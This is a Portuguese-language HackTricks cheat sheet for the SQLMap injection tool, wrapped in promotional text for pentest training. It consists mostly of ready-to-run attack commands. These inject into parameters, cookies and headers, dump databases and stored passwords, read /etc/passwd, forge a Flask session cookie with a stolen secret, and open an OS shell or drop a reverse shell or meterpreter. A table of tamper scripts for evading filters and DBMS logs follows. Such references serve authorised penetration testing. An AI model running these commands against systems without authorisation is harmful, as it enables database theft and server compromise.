SQLMap - Cheetsheat

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

Argumentos básicos para o SQLmap

Genérico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Obter Informação

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dados do BD

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Local de Injeção

A partir da captura do Burp/ZAP

Capture a requisição e crie um arquivo req.txt

sqlmap -r req.txt --current-user

Injeção de Requisição GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injeção de Requisição POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Injeções em Cabeçalhos e outros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicar string quando a injeção for bem-sucedida

--string="string_showed_when_TRUE"

Eval

O Sqlmap permite o uso de -e ou --eval para processar cada payload antes de enviá-lo com algum python oneliner. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a sessão de cookie do flask é assinada pelo flask com o segredo conhecido antes de enviá-la:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Ler Arquivo

--file-read=/etc/passwd

Rastreando um site com SQLmap e auto-exploitando

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injeção de Segunda Ordem

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Leia este postsobre como realizar injeções de segunda ordem simples e complexas com o sqlmap.

Personalizando a Injeção

Definir um sufixo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefix

Prefix

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ajuda para encontrar injeção booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Manipulação

Lembre-se de que você pode criar sua própria manipulação em python e é muito simples. Você pode encontrar um exemplo de manipulação na página de Injeção de Segunda Ordem aqui.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescrição

apostrophemask.py

Substitui o caractere apóstrofo pelo seu equivalente UTF-8 de largura total

apostrophenullencode.py

Substitui o caractere apóstrofo pelo seu equivalente de duplo unicode ilegal

appendnullbyte.py

Adiciona um caractere de byte NULL codificado ao final do payload

base64encode.py

Codifica em Base64 todos os caracteres em um payload dado

between.py

Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #'

bluecoat.py

Substitui o caractere de espaço após a declaração SQL por um caractere de espaço em branco válido aleatório. Em seguida, substitui o caractere '=' pelo operador LIKE

chardoubleencode.py

Duplica a codificação de URL de todos os caracteres em um payload dado (sem processar caracteres já codificados)

commalesslimit.py

Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'

commalessmid.py

Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)'

concat2concatws.py

Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Codifica em URL todos os caracteres em um payload dado (sem processar caracteres já codificados)

charunicodeencode.py

Codifica em URL Unicode caracteres não codificados em um payload dado (sem processar caracteres já codificados). "%u0022"

charunicodeescape.py

Codifica em URL Unicode caracteres não codificados em um payload dado (sem processar caracteres já codificados). "\u0022"

equaltolike.py

Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE'

escapequotes.py

Escapa as aspas (' e ")

greatest.py

Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST'

halfversionedmorekeywords.py

Adiciona comentário versionado do MySQL antes de cada palavra-chave

ifnull2ifisnull.py

Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Envolve a consulta completa com comentário versionado

modsecurityzeroversioned.py

Envolve a consulta completa com comentário sem versão

multiplespaces.py

Adiciona vários espaços ao redor das palavras-chave SQL

nonrecursivereplacement.py

Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", ""))

percentage.py

Adiciona um sinal de porcentagem ('%') na frente de cada caractere

overlongutf8.py

Converte todos os caracteres em um payload dado (sem processar caracteres já codificados)

randomcase.py

Substitui cada caractere de palavra-chave por um valor de caixa aleatório

randomcomments.py

Adiciona comentários aleatórios às palavras-chave SQL

securesphere.py

Adiciona uma string especial criada

sp_password.py

Adiciona 'sp_password' ao final do payload para obfuscação automática dos logs do DBMS

space2comment.py

Substitui o caractere de espaço (' ') por comentários

space2dash.py

Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma string aleatória e uma nova linha ('\n')

space2hash.py

Substitui o caractere de espaço (' ') por um caractere de jogo da velha ('#') seguido de uma string aleatória e uma nova linha ('\n')

space2morehash.py

Substitui o caractere de espaço (' ') por um caractere de jogo da velha ('#') seguido de uma string aleatória e uma nova linha ('\n')

space2mssqlblank.py

Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos

space2mssqlhash.py

Substitui o caractere de espaço (' ') por um caractere de jogo da velha ('#') seguido de uma nova linha ('\n')

space2mysqlblank.py

Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos

space2mysqldash.py

Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma nova linha ('\n')

space2plus.py

Substitui o caractere de espaço (' ') por um sinal de mais ('+')

space2randomblank.py

Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos

symboliclogical.py

Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e)

unionalltounion.py

Substitui UNION ALL SELECT por UNION SELECT

unmagicquotes.py

Substitui o caractere de aspas (') por uma combinação multibyte %bf%27 junto com um comentário genérico no final (para funcionar)

uppercase.py

Substitui cada caractere de palavra-chave por um valor em maiúscula 'INSERT'

varnish.py

Adiciona um cabeçalho HTTP 'X-originating-IP'

versionedkeywords.py

Envolve cada palavra-chave não funcional com comentário versionado do MySQL

versionedmorekeywords.py

Envolve cada palavra-chave com comentário versionado do MySQL

xforwardedfor.py

Adiciona um cabeçalho HTTP falso 'X-Forwarded-For'

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconhecimento até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, invadir sistemas e se divertir.

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated